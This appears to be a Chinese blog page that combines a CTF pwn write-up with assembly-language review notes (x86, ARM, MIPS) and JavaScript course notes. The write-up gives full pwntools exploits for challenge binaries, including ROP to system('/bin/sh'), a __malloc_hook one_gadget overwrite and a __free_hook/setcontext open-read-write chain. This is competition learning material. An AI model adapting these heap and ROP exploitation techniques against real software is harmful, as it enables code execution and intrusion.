puts_addr = u64Leakbase(0)
obj = LibcSearcher("puts", puts_addr)
libc_base = puts_addr-obj.dump('puts')
system_addr = libc_base + obj.dump("system") #system
binsh_addr = libc_base + obj.dump("str_bin_sh")

payload = ""
payload += "A"*(0x110+0x8)
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(system_addr)
payload += p64(start_addr)
func1(len(payload),payload)
sl("2")
it()

二、magic

说实话这题逆向没太看懂,逆半天没逆出来个啥,还得好好学学逆向,是学长做的,不过逆向完事据说挺简单的,直接贴下学长exp吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
# coding=utf-8

from pwn import *
import sys

binary = "./Magic"
context.log_level = "debug"
context.arch = "amd64"
elf = ELF(binary)
global p

local = 0

if local:
p = process(binary)
# libc = elf.libc
# libc = ELF("/glibc/x64/2.27/lib/libc-2.27.so")
# p = process(binary, env={'LD_PRELOAD':'/home/mtb0tx/share/ctf-pwn/libc/libc-2.27.so'})
# libc = ELF("./libc.so.6")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# libc = ELF("/home/mtb0tx/share/ctf-pwn/libc/libc-2.27.so")
# libc = ELF("/lib/i386-linux-gnu/libc.so.6")
else:
host = "node4.buuoj.cn"
port = 28077
p = remote(host, port)
# libc = ELF("/home/mtb0tx/share/ctf-pwn/libc/libc-2.27.so")
libc = ELF("./libc-2.23.so")

def dbg():
sleep(0.5)
gdb.attach(p)
pause()

def gdb_a(addr):
gdb.attach(p, "b *{0} \n c".format(addr))
pause()

def gdb_b(addr):
gdb.attach(p, "b *$rebase({0}) \n c".format(addr))
pause()

se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
rc = lambda num :p.recv(num)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
li = lambda tag, addr :log.info(tag + " -> " + hex(addr))
ia = lambda :p.interactive()

menu = "Input your choice: "

def add(a, idx, b):
sla(menu,'1')
sl(str(a))
sla('Input the idx',str(idx))
sl(str(b))

def magic(a, idx, b, magic):
sla(menu,'2')
sl(str(a))
sla('Input the idx',str(idx))
sl(str(b))
sla("Input the Magic", magic)

def delete(a, idx, b):
sla(menu,'3')
sl(str(a))
sla('Input the idx',str(idx))
sl(str(b))


malloc_hook_s = libc.symbols['__malloc_hook']
free_hook_s = libc.symbols['__free_hook']

add(1, 0, 1)
magic(1, 0, 1, "a"*8)
ru("a"*8)
main_arena_xx = l64()
malloc_hook_addr = (main_arena_xx & 0xfffffffffffff000) + (malloc_hook_s & 0xfff)
libc_base = malloc_hook_addr - malloc_hook_s
free_hook_addr = libc_base + free_hook_s
system = libc_base + libc.sym['system']
li("libc_base", libc_base)
delete(1, 0, 1)
magic(1, 0, 1, p64(malloc_hook_addr - 0x23))
add(1, 1, 1)
add(0, 0, 0)

'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''

pl = '\x00' * 0x13 + p64(libc_base + 0xf03a4)
magic(0, 0, 0, pl)

# add(1, 1, 0)

delete(1, 1, 1)
delete(1, 1, 1)

# dbg()

ia()

三、h3apclass

这题还不错啊,有控制溢出的想法,也有沙箱保护,劫持IO。不过比赛时干其他去了,没怎么做,最后看了看觉得能做,但是时间已经不够了,这里简单复现一下。

其实难度也不大,有几个点

1.溢出限制

就是堆溢出的时候用的是strlen()来获取size的,这样需要把堆中的内容填满,才能溢出到size位。

2.edit的技巧

然后后期修改的时候,由于需要改fd指针,通常用p64(addr)来修改嘛,但是这里由于strlen()的关系,只能发送6个字节,多出来的\x00不要发送,不然输入输出容易对不上,导致程序出错。

3.泄露地址的技巧

劫持IO,但是2.31下需要我们泄露堆地址完成ORW劫持,所以把IO_write_base改为main_arena+96处,泄露堆地址和libc,不过这样发送的数据量会比较大,建议用sleep(2)来给程序一定的缓冲时间。

4.爆破,由于没有泄露,劫持IO只能用爆破libc的方式来解决,不过也只是1/16的概率,还是很好命中的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
# -*- coding:UTF-8 -*-
from pwn import *
#from LibcSearcher import *
#context.log_level = 'debug'

#context
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')

binary = "./H3apClass"
context.binary = binary
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#elf = ELF(binary)
context.timeout = 0.2

global p


sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + '\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset
it = lambda :p.interactive()

menu = "4:Drop homework\n"
menu_n = "4:Drop homework"

def dockerDbg():
myGdb = remote("127.0.0.1",30001)
myGdb.close()
pause()
#b *$rebase(0xdbd)

def dbg():
gdb.attach(p)
pause()

def gdb_b(addr):
gdb.attach(p, "b *$rebase({0}) \n c".format(addr))
sleep(0.5)

def lg(string,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))

def add(idx,size,con):
sla(menu, "1")
sla("Which homework?\n", str(idx))
sla("size:\n", str(size))
sa("content:\n",con)

def add_n(idx,size,con):
sla(menu_n, "1")
sla("Which homework?", str(idx))
sla("size:", str(size))
sa("content:",con)

def delete(idx):
sla(menu, "4")
sla("Which homework?\n", str(idx))

def delete_n(idx):
sla(menu_n, "4")
sla("Which homework?", str(idx))

# def show(idx):
# sla(menu, "3")
# sla("I:>>\n", str(idx))

def edit(idx,con):
sla(menu, "3")
sla("Which homework?\n", str(idx))
sa("content:\n",con)

def edit_n(idx,con):
sla(menu_n, "3")
sla("Which homework?", str(idx))
sa("content:",con)

def pwn():
guess_libc=0x0000
guess_IO = guess_libc + libc.sym['_IO_2_1_stdout_']
guess_main = guess_libc + libc.sym['__malloc_hook'] + 0x10

add(0,0xf8,'A'*0xf8)
add(1,0xf8,'A'*0xf8)
add(2,0xf8,'A'*0xf8)
add(3,0xf8,'A'*0xf8)
add(4,0xf8,'A'*0xf8)
add(5,0xf8,'A'*0xf8)
add(6,0xf8,'A'*0xf8)
edit(0,'A'*0xf8+p16(0x501))
delete(5)
delete(4)
delete(3)
delete(2)
delete(1)
add(1,0x78,'\x00')
add(2,0x78,'\x00')
add(3,0x78,p16((guess_IO)&0xffff))
add(4,0xf8,'\x00')
#dockerDbg()
fd = 0x00000000fbad2887
add(5,0xf8,p64(0xfbad1800) + p64(0)*3 + p16((guess_main+96)&0xffff))
heap_base = uu64(rc(6)) - 0x0019a0
libc_base = u64Leakbase(0x1ebbf0)

lg("libc_base",libc_base)
lg("heap_base",heap_base)
free_hook = libc_base + libc.sym['__free_hook']
setcontext61 = libc_base + libc.sym['setcontext'] + 61
lg("free_hook",free_hook)
gadget = libc_base + 0x154930
#dockerDbg()
#dockerDbg()
delete_n(1)
delete_n(2)
delete_n(3)
edit_n(4,p32(free_hook&0xffffffff)+p16(free_hook>>32))
#dockerDbg()
add_n(1,0x78,'A'*0x78)
add_n(2,0xe8,'A'*0xe8)
chunk1_addr = heap_base + 0x0014b0
lg("chunk1_addr",chunk1_addr)
add_n(3,0x78,p64(gadget))


pop_rdx_r12_ret = libc_base + 0x000000000011c371
pop_rsi_ret = libc_base + 0x0000000000027529
pop_rdi_ret = libc_base + 0x0000000000026b72
pop_rax_ret = libc_base + 0x000000000004a550
syscall_ret = libc_base + 0x0000000000066229
ret = pop_rdi_ret + 1
Open = libc_base + libc.sym['open']
Read = libc_base + libc.sym['read']
Puts = libc_base + libc.sym['puts']


chunk_addr = chunk1_addr
fake_rsp = chunk_addr + 0xb0 + 0x10
flag = chunk_addr + 0xb0
orw = "a"*0x08 + p64(chunk_addr)
orw += "a"*0x10
orw += p64(libc_base + libc.sym['setcontext'] + 61) + "a"*0x8
orw += "a"*0x70
orw += p64(fake_rsp) + p64(ret)
orw += './flag\x00\x00'
orw += p64(0)
orw += p64(pop_rdi_ret) + p64(flag)
orw += p64(pop_rsi_ret) + p64(0)
orw += p64(pop_rax_ret) + p64(2)
orw += p64(syscall_ret)
orw += p64(pop_rdi_ret) + p64(3)
orw += p64(pop_rsi_ret) + p64(fake_rsp+0x200)
orw += p64(pop_rdx_r12_ret) + p64(0x30) + p64(0x0)
orw += p64(libc_base+libc.sym['read'])
orw += p64(pop_rdi_ret) + p64(1)
orw += p64(libc_base+libc.sym['write'])
edit_n(1,orw[0:0x70])
edit_n(2,orw[0x80:])
#dockerDbg()
delete_n(1)
it()





i = 0
while True:
i += 1
log.info("Times:%d"%i)
try:
#p = remote("172.20.2.7","26351")
p = process("./H3apClass")
pwn()
except EOFError:
p.close()
continue
except Exception:
p.close()
continue
else:
p.interactive()
break

最后的httpd没看,后面再说把。

汇编基础

前言

复习一下汇编

一、X86

1.汇编指令

(1)跳转

依据ZF(Zero)、SF(Symbol))、OF(Overflow)、PF(Parity)、CF(Carry)五种状态标志位有对应的跳转JZ(JNZ)/JS(JNS)等五种跳转

状态标志位除了以上五种还有AF(Assistant)辅助进位

此外还有Jmp无条件跳转

(2)标志位

以上的六种状态标志位外,还有以下三种标志位

TF(trap):跟踪标答志位:单步标志

IF(interregnum):中断标志位

DF(direction):方向标志位

2.寄存器

(1)传参

64位:rdi rsi rdx rcx r8 r9 栈

32位:栈传参

(2)栈指针

RSP、RBP

二、ARM

1.寄存器关系

32

  • R0R3:函数调用参数,代表第04个参数,剩下的参数从右向左依次入栈,函数返回值保存在R0中。(对应在aarch64中为R0R7,但是gdb调试或者IDA中一般显示X0X30,同时还有低32位的W0~W30)

  • SP:类似rsp,esp,栈指针

  • FP:类似ebp,栈指针

  • LR:当发生函数调用时,会保存调用函数处的地址,退出函数时赋值给PC。

  • PC:类似eip,rip,存储下一条指令的地址。

  • R11:类似ebp,栈指针,其实就差不多是FP

2.汇编指令

(1)寄存器传送MOV

寄存器之间还是MOV指令,比如MOV R2,R0;但是如果涉及到内存上的,则需要先加载到寄存器中,或者把寄存器中的值存储到内存中

(2)寄存器-内存传送

STR(store reg)/LDR(load reg)以及STM(store multiple)/LDM(load multiple)

①STR/LDR模式

STR Ra [Rb]:

Ra中的数据存储到Rb指向的内存中

LDR Ra [Rb]

Rb指向的内存中的值加载到Ra中

此外还有如下情形

1
2
STR  R0,[R1, #12]  // R0 --> [R1+12]
LDR R4,[R5, R6] // R4 <-- [R5+R6]

②STM/LDM模式

STM R0, {R4,R5}

R4的值传送给R0+x对应的内存单元,然后R5的值传给R0+x+x对应的内存单元

这个x即由后缀决定,分别有以下几种

  • DB(Decrease Before):每次传送前R0加上x,x为负数

  • DA(Decrease After):每次传送后R0加上x,x为负数

  • IB(Increase Before):每次传送前R0加上x,x为正数

  • IA(Increase After):每次传送后R0加上x,x为正数

而X则在不同的CPU位数下不同,32为4,64则为8。

此外堆栈的增长方向可以不同,也可以在不同情形下作为后缀,效果一样的

  • FD(Full Descent):满递减堆栈
  • FA(Full Ascent):满递增堆栈
  • ED(Empty Descent):空递减堆栈
  • EA(Empty Ascent):空递增堆栈

满则代表栈指针指向栈顶,空则代表栈指针不指向栈顶

(3)跳转指令

①分支跳转(Branch)

B

无条件跳转

BX <Rm>

由寄存器给出地址

若 Rm 的 bit[0] 为1,切换到 Thumb 指令执行;

若 Rm 的 bit[0] 为0,切换到 ARM 指令执行。

BL

类似于Call,会存入返回地址到LR寄存器

BLX/BLR

即类似对应组合

②条件跳转

依据CPSR寄存器下的ALU状态标志位

CPSR寄存器包含下面的ALU状态标志:

  N  Set when the result of the operation was Negative(结果为负数)

  Z Set when the result of the operation was Zero(结果为0)

  C Set when the operation result in a Carry(发生进位,或借位)

  V Set when the operation caused oVerflow(操作造成溢出)

  Q ARM architecture v5E only sticky flag

还有BEQ、BNE

三、MIPS

主要介绍mipsel架构的,小端序,大端的mips很少考到,而且也基本都是大同小异

1.寄存器关系

REGISTER NAME USAGE
$0 $zero 常量0(constant value 0)
$1 $at 保留给汇编器(Reserved for assembler)
$2-$3 $v0 - $v1 函数调用返回值(values for results and expression evaluation)
$4-$7 $a0-$a3 函数调用参数(arguments)
$8-$15 $t0-$t7 暂时的(或随便用的)
$16-$23 $s0-$s7 保存的(或如果用,需要SAVE/RESTORE的)(saved)
$24-$25 $t8-$t9 暂时的(或随便用的)
$28 $gp 全局指针(Global Pointer)
$29 $sp 堆栈指针(Stack Pointer)
$30 $fp 帧指针(Frame Pointer)

说明

  • $0

即$zero,该寄存器总是返回零,为0这个有用常数提供了一个简洁的编码形式。

1
2
3
move $t0,$t1
#实际为
add $t0,$0,$t1

使用伪指令可以简化任务,汇编程序提供了比硬件更丰富的指令集。

  • $1

即 $at,该寄存器为汇编保留,由于I型指令的立即数字段只有16位,在加载大常数时,编译器或汇编程序需要把大常数拆开,然后重新组合到寄存器里。比如加载一个32位立即数需要 lui(装入高位立即数)和addi两条指令。像MIPS程序拆散和重装大常数由汇编程序来完成,汇编程序必需一个临时寄存器来重组大常数,这也是为汇编保留$at的原因之一。

  • $2..$3:($v0-$v1)

用于子程序的非浮点结果或返回值,对于子程序如何传递参数及如何返回,MIPS范围有一套约定,堆栈中少数几个位置处的内容装入CPU寄存器,其相应内存位置保留未做定义,当这两个寄存器不够存放返回值时,编译器通过内存来完成。

  • $4..$7:($a0-$a3)

用来传递前四个参数给子程序,不够的用堆栈。a0-a3和v0-v1以及ra一起来支持子程序/过程调用,分别用以传递参数,返回结果和存放返回地址。当需要使用更多的寄存器时,就需要堆栈(stack)了,MIPS编译器总是为参数在堆栈中留有空间以防有参数需要存储。

  • $8..$15:($t0-$t7)

临时寄存器,子程序可以使用它们而不用保留。

  • $16..$23:($s0-$s7)

保存寄存器,在过程调用过程中需要保留(被调用者保存和恢复,还包括$fp和$ra),MIPS提供了临时寄存器和保存寄存器,这样就减少了寄存器溢出(spilling,即将不常用的变量放到存储器的过程),编译器在编译一个叶(leaf)过程(不调用其它过程的过程)的时候,总是在临时寄存器分配完了才使用需要保存的寄存器。

  • $24..$25:($t8-$t9)

同($t0-$t7) $26..$27:($k0,$k1)为操作系统/异常处理保留,至少要预留一个。 异常(或中断)是一种不需要在程序中显示调用的过程。MIPS有个叫异常程序计数器(exception program counter,EPC)的寄存器,属于CP0寄存器,用于保存造成异常的那条指令的地址。查看控制寄存器的唯一方法是把它复制到通用寄存器里,指令mfc0(move from system control)可以将EPC中的地址复制到某个通用寄存器中,通过跳转语句(jr),程序可以返回到造成异常的那条指令处继续执行。MIPS程序员都必须保留两个寄存器$k0和$k1,供操作系统使用。
发生异常时,这两个寄存器的值不会被恢复,编译器也不使用k0和k1,异常处理函数可以将返回地址放到这两个中的任何一个,然后使用jr跳转到造成异常的指令处继续执行。

  • $28:($gp)

为了简化静态数据的访问,MIPS软件保留了一个寄存器:全局指针gp(global pointer,$gp),全局指针指向静态数据区中的运行时决定的地址,在存取位于gp值上下32KB范围内的数据时,只需要一条以gp为基指针的指令即可。在编译时,数据须在以gp为基指针的64KB范围内。

  • $29:($sp)

MIPS硬件并不直接支持堆栈,你可以把它用于别的目的,但为了使用别人的程序或让别人使用你的程序,还是要遵守这个约定的,但这和硬件没有关系。

  • $30:($fp)

GNU MIPS C编译器使用了帧指针(frame pointer),而SGI的C编译器没有使用,而把这个寄存器当作保存寄存器使用($s8),这节省了调用和返回开销,但增加了代码生成的复杂性。

  • $31:($ra)

存放返回地址,MIPS有个jal(jump-and-link,跳转并 链接)指令,在跳转到某个地址时,把下一条指令的地址放到$ra中。用于支持子程序,例如调用程序把参数放到$a0~$a3,然后jal X跳到X过程,被调过程完成后把结果放到$v0,$v1,然后使用jr $ra返回。

2.汇编指令

(1)不同类型的指令

R型指令:操作寄存器

常见指令:add, sub, and, or, nor, slt, sll, srl, jr

image-20211230150231733

  • opcod:操作码
  • rs:源寄存器的数量
  • rt:源寄存器的数量
  • rd:目标寄存器的编号
  • sham:移位量(操作移位的位数)
  • Func: 函数(操作码扩展)

Sham仅用于操作偏移量的指令(例如stl

I型指令:操作常量

常见指令:addi, lw, sw, lh, sh, lb, lbu, sb, ll, sc, lui, andi, ori, beq, bne, slti, sltiu

  • opcod:操作码
  • rs:源寄存器的数量
  • rd:源或目标寄存器的数量
  • imd: 立即值

J型指令:跳跃寻址

处理器直接跳跃到给定的地址,执行所在地址的指令

常见指令:j, jal

image-20211230150255746

  • Opcod:操作码
  • Imd:立即值

(2)常用指令

其中i表示立即数相关,u表示无符号相关。

①load/store 指令

la

将地址或者标签存入一个寄存器 eg:la $t0,val_1复制val_l的地址到$t0中,val_1是一个Label

li

将立即数存入通用寄存器 eg:li $t1, 40 $t1 = 40

lw

从指定的地址加载一个word类型的值到一个寄存器 eg:lw $s0, 0($sp) $s0=MEM[$sp+0]

sw

将寄存器的值,存于指定的地址word类型 eg:sw $a0, 0($sp) MEM[$sp+0] = $a0

move

寄存器传值 eg:move $t5, $t2 $t5 = $t2

②算数指令

算数指令的所有操作都是寄存器,不能是 RAM 地址或间接寻址。且操作数大小都是 word(4byte)

1
2
3
4
5
6
7
8
9
add $t0, $t1, $t2;		$t0=$t1+$t2;	带符号数相加
sub $t0, $t1, $t2; $t0=$t1-$t2; 带符号数相减
addi $t0, $t1, 5; $t0=$t1+5; 有立即数的加法
addu $t0, $t1, $t2; $t0=$t1+$t2; 无符号数的加法
subu $t0, $t1, $t2; $t0=$t1-$t2; 带符号数相减
mult $t3, $t3; (HI, LO) = $t3 * $t4
div $t5, $t6; $Hi=$t5 mod $t6
mfhi $t0; $t0 = $Hi
mflo $t1; $t1 = $Lo

③syscall

产生一个软化中断,实现系统调用;系统调用号存放在 $v0 中,参数在 $a0~$a3 中;

返回值在 $v0 中,如果出错,在 $a3 中返回错误号;在编写 shellcode 时,用到该指令机制

Write(1, “ABCn”, 5) 实现如下

1
2
3
4
5
6
7
8
9
addiu $sp, $sp, -32;
li $a0, 1;
lui $t6, 0x4142;
ori $t6, $t6, 0x430a;
sw $t6, $0($sp);
addiu $a1, $sp, 0;
li $a2, 5;
li $v0, 4004;
syscall;

④分支跳转指令

分支跳转指令本身可以通过比较两个寄存器决定如何跳转;如果想要实现与立即数的比较跳转,需要结合类跳转指令实现

1
2
3
4
5
6
7
b target;				无条件跳转到target处
beq $t0, $t1, target; 如果"$t0 == $t1”,跳转到target
blt $t0, $t1, target; 如果“$t0 < $t1”,跳转到target
ble $t0, $t1, target; 如果“$t0 <= $t1” 跳转到target
bgt;
blt;
bne; 类比上

⑤跳转指令

1
2
3
j target;			无条件跳转target
jr $t3; 跳转到$t3指向的地址处(Jump Register)
jal target; 跳转到target,并保存返回地址到$ra中

⑥子函数的调用

1
jal   sub_routine_label;复制当前PC的值到$ra中,(当前PC值就是返回地址)程序跳转到sub_routine_label

⑦子函数的返回

1
jr    $ra;如果子函数重复嵌套,则将$ra的值保存在堆栈中,因为$ra总是保存当前执行的子函数的返回地址

以上大多参考如下

MIPS汇编语言入门 - Sylvain’s Blog (valeeraz.github.io)

2021第四届强网拟态防御积分赛工控pwn eserver WP - 安全客,安全资讯平台 (anquanke.com)

3.流水线特点

以下指令的,strchr 函数的参数来自 $s0 而不是 $s2

1
2
3
mov $a0, $s2;
jalr strchr;
move $a0, $s0;

🔺注:流水线

即跳转之前会先一步加载下一条指令,所以在寻找ROP时,注意看下一步指令都是什么,不然跳转过去参数或者栈帧都有可能会出错的。

但是因为通常PWN题的MIPS通常是用qemu的user模式运行的,这个可能导致指令流水有时候表现不出来,所以不没有调用函数sleep(1)去将数据区刷新到指令区域也是可以拿到shell的;但是如果题目使用system模式部署,添加调用函数刷新数据区域再跳转到shellcode就很必要了,但如果是ROP来getshell倒是不用刷新数据。

WEB技术与应用课程

Web技术与应用课程

一、Java Script:

1.引入script代码:

1
2
3
<script>
<!---javascript 代码--->
</script>

2.引入外部script代码

1
2
<script src = "externalJS.js">
</script>

3.定义变量:

(1)赋值定义:

1
2
3
4
var i = 123;
var str = "Hello";
var str1 = 'abc';
var phr = \`abc\${str}`;//(使用这种类型插入其他的字符)

(2)未赋值,初始化类型

1
2
var i;
typeof i = 'undefined';//(这种类型被判定为False)

▲javaScript的浮点数操作不一定准确:

0.1+0.2 = 0.300000…..04

通常使用(0.1x10+0.2x10)/10的形式

在其他语言中也通常存在的

(3)特殊类型

null和undefined的值相等,但是类型不一样,null的类型是object

4.定义函数

(1)初始定义

function function_name(){ ……. }

没有定义返回值的函数也会返回Undefined的类型。

(2)传参定义

①定义function func(){…}

仍然可以调用func(a,b,c)这种类型,传入的参数a,b,c被存放在arguments这个数组中,全局的数组。

②定义function func(x){ return x}

可以调用func(),不传参,如果返回的是undefined类型的

(3)定义的hoisted

即函数可以定义在使用之后,应该是编译的时候进行了提升操作

变量也具有这个效果,比如在同一个函数下的所有变量的作用域都是这个函数,但是其值并没有得到提升。

函数变量的toString就是函数的定义表达式

(4)strict模式

当函数定义中,加入了”use strict”时,会对变量的声明有更严格的要求,不能简单地直接赋值。

(5)non-hoisting模式

(6)Let关键字

1
2
3
var x = 10

{let x = 2}

let使得x只在{…}这个声明块中有效,外面的语句中x的值为10。

5.定义对象

(1)初始赋值

1
2
let user = {name:"Alice",age:23,country:"China"};
var d = new Date();//(日期对象)

(2)增加属性

1
user.fan = "Banana";

(3)删除属性

1
delete user.name;

(4)遍历对象

1
2
Object.keys(user);
Object.values(user);

获取变量的key和values的相关数据

6.定义数组(类型为object)

(1)初始定义

1
var anArr = [1,2,3];

(2)相关操作

1
2
3
anArr[5] = "FooBar";//(这个也是可以的)
anArr.length;//返回值为6
anArr.sort();//排序相关

(3)数据结构相关操作

①尾部操作

1
2
anArr.push();
anArr.pop();

②首部操作

1
2
anArr.shift();
anArr.unshift();

(4)filter方法

创建新数组检测原数组

1
2
3
4
5
6
7
8
var ages = [33,32,16,40];
function checkAdult(age){
return age >= 18;
}
console.log(ages.filter(checkAdult));
console.log(ages.filter(function(value){
return value >= 18;
}))

7.正则表达式

(1)定义正则表达式

1
2
var re = /ab+c/;//(使用两个/来定义正则)
var re2 = new RgeExp("ab+c");//(使用对象来定义正则)

(2)调用正则

①字符串形式

1
"XXXXXXX abbbbc".search(/ab+c);

返回值为查找到的索引,没找到则返回-1

②对象调用

1
2
var re = /ab+c/;
re.exec(str);//返回re这个表示式的执行结果,返回包含结果的一个数组

(3)模式

...表任意字符

+至少一个

*0个或多个

?0个或多个

\d找一个数字 (digtal)

\s找一个空格 (space)

\b找一个单词的开始或结尾

g全局模式,在表达式末尾加上g代表全局,返回所有查找到的

比如匹配abbbc即可用ab+c

var re3 = /[^\d]/;表查找不是数字的

8.异常处理

1
2
3
4
5
6
7
8
try{
Block of code....
throw "Help!";
}catch(err){
console.log("Error call");
}finally{
will be exec whatever there are some error....
}

9.Debug

在chrome中可以调试,即浏览器

10.新的特性

(1)Modules

1
2
3
4
5
6
7
8
9
10
//profile.js
var a = "aa";
var b = "bb";
export {a,b};

//main.js
import {a,b} from './profile.js';
function setName(element) {
element.textContent = a + ' ' + b;
}

(2)Default para

1
2
3
function myFunc(a=1,b="Hello"){

}

digtal + undefined = NaN

(3)Rest para

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//the ArgsArray放置的是多余的参数
function myFunc(a,b,... the_ArgsArray){
var c=the_ArgsArray[0];
}


function add(...values) {
let sum = 0;
for (var i=0;i<values.length;i++) {
sum += values[i];
}
return sum;
}
//2,5,3被放置在values数组中
add(2, 5, 3) //返回10

(4)spread operator

1
2
3
var anArray=[1,2,3];
myFunc(...anArray);//将数组anArray的每个元素作为函数参数传给myFunc函数
var o=[5,...anArray,6];

(5)模板类字符串string

1
2
3
4
function formatGreetings(name,age){
var str=
`Hi ${name} your age is ${age}`;
}//新特性字符串的拼接

(6)遍历

1
2
3
4
let sum=0;
for(ent of a){
sum+=ent;
}

11.类和对象

(1)声明和添加

1
2
3
4
5
6
7
let o = {oldProp:'old'};
o.aMethod = function(){
this.newProp = 'new';
return Object.keys(this);
}
o.aMethod();
//o的成员即为[oldProp,newProp,aMethod]

(2)函数即为对象

1
2
3
4
5
6
7
8
9
function func(value){
console.log(this,arg);
}
func.toString();
func.call({t:1},2);
//call使得func这个对象就会变成{t:1}
let newFunc = func.bind({z:2},3);
//bind会返回一个新的对象为{z:2}
//所有对象都有toString,call,bind等方法

(3)定义类和实例化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function Rectangle(width,height){
this.width = width;
this.height = height;
this.area = function(){
return this.width*this.height;
}
}
var obj = new Rectangle(26,14);

//查看objd的构造方法是不是'Rectangle'
obj.constructor.name == 'Rectangle'

//给Obj增加属性description
obj.description = 'big Rectangle';

var obj2 = new Rectangle(2,3);
obj2.tell = function(){
alert(width+";"+height);
}
//以上方法增加的属性在对象里,不在类里

console.log(obj);
console.log(obj2);

(4)为类增加属性方法

1
2
3
4
5
6
7
8
9
10
11
function Rectangle(width,height){
this.width = width;
this.height = height;
}

//使用prototype给Rectangle这个类增加成员
Rectangle.prototype.area = function(){
return this.width*this,height;
};
Rectangle.prototype.description = 'Hello!';
//这种方法相当于修改类的定义,所有的实例化对象都会被修改掉

(5)新版的类

1
2
3
4
class shape(){
constructor(str){this.str = str};
}
class Rectangle extends shape = ...

12.函数式编程

(1)处理字符串

1
2
3
4
5
6
7
8
9
10
11
var anArr = [45,4,9,16,25];
function filterFunc(value){
return value<45;
}
function mapFunc(value,idx){
return value*idx;
}
function reduceFunc(total,value){
return total+value
}
anArr.filter(filterFunc).map(mapFunc).reduce(reduceFunc)

(2)回调函数

主要用来跟踪异步的函数调用行为,确保正常异步加载结束

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<body>
<script>
//可以异步调用该函数,使得该函数后面的其他脚本也同时运行
function loadScript(src){
let script = document.createElement('script');
scripte.src = src;
document.head.append(script);
}
loadScript('./myScript.js');
newFunction();
//当newFunction()在myScript.js中时,如果myScript.js没有加载完,则直接调用
//newFunction会出错,因为没有加载上


//使用回调函数确保脚本加载完成再调用其中的函数
function callbackFunc(){
newFunction();
}
function loadScript(src,callback){
let script = document.createElement('script');
scripte.src = src;
script.onload = () => callback(script);
document.head.append(script);
}
loadScript('./myScript.js');
//这样在loadScript函数执行完成之后才会执行callbackFunc从而调用newFunction

//3*1000毫秒后执行callbackFunc
setTimeout(callbackFunc,3*1000)

//读完文件之后再调用callbackFunc
function callbackFunc(err,data){
console.log(String(data));
}
fs.readFile('/etc/passwd',callbackFunc);

</script>
</body>

▲注

方法:代表对象里面的函数

函数:对象外部的函数

(3)闭包

即在调用函数对象内部的函数,该函数修改函数对象内的成员,该成员可以得到修改使用,就类似于java中的接口设置。

1
2
3
4
5
6
7
8
var myObj = (function() {
var privateProp1 = 1;
var privateProp2 = "test";
var setPrivate1 = function(val1) { privateProp1 = val1; }
var compute = function() {return privateProp1 + privateProp2;}
return {compute: compute, setPrivate1: setPrivate1};
})();
//即可以通过接口函数setPrivate1和compute来访问其privateProp1和privateProp2

13.类型判断

==:只判断值,false和false比较都为true…

===:判断类型和值

14.Promise替代回调函数

将执行结果保存,然后利用函数处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//等待1秒后执行resolve,将结果给到promise.result中
let promise = new Promise(function(resolve, reject) {
setTimeout(() => resolve("done!"), 1000);
});


//一般用来处理promise的执行结果
promise.then(
result => alert(result), // shows "done!" after 1 second
error => alert(error) // doesn't run
);

//catch只处理错误结果
promise.catch(error);

加载脚本的处理

1
2
3
4
5
6
7
8
9
10
function loadScript(src) {
return new Promise(function(resolve, reject) {
let script = document.createElement('script');
script.src = src;
script.onload = () => resolve(script);
script.onerror = () => reject(new Error(`Script load error for ${src}`));
document.head.append(script);
});
}
loadScript(src).then(func...);

15.async/await语法

